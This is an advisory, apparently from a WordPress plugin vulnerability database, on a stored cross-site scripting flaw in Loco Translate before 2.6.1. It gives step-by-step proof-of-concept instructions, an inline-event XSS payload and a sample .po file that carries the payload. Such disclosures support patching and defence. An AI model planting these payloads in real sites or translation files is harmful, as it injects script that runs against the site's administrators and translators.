WordPress Plugin Vulnerabilities

Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

Description

The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Proof of Concept

## POC1: via (edit-template) 

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message 
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('Yoho!')>
7.) Save
8.) Replicated


## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po

## Example.po
msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr ""

Affects Plugins

Fixed in 2.6.1

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Taurus Omar
Submitter
Taurus Omar
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-03-22 (about 2 years ago)
Added
2022-03-22 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other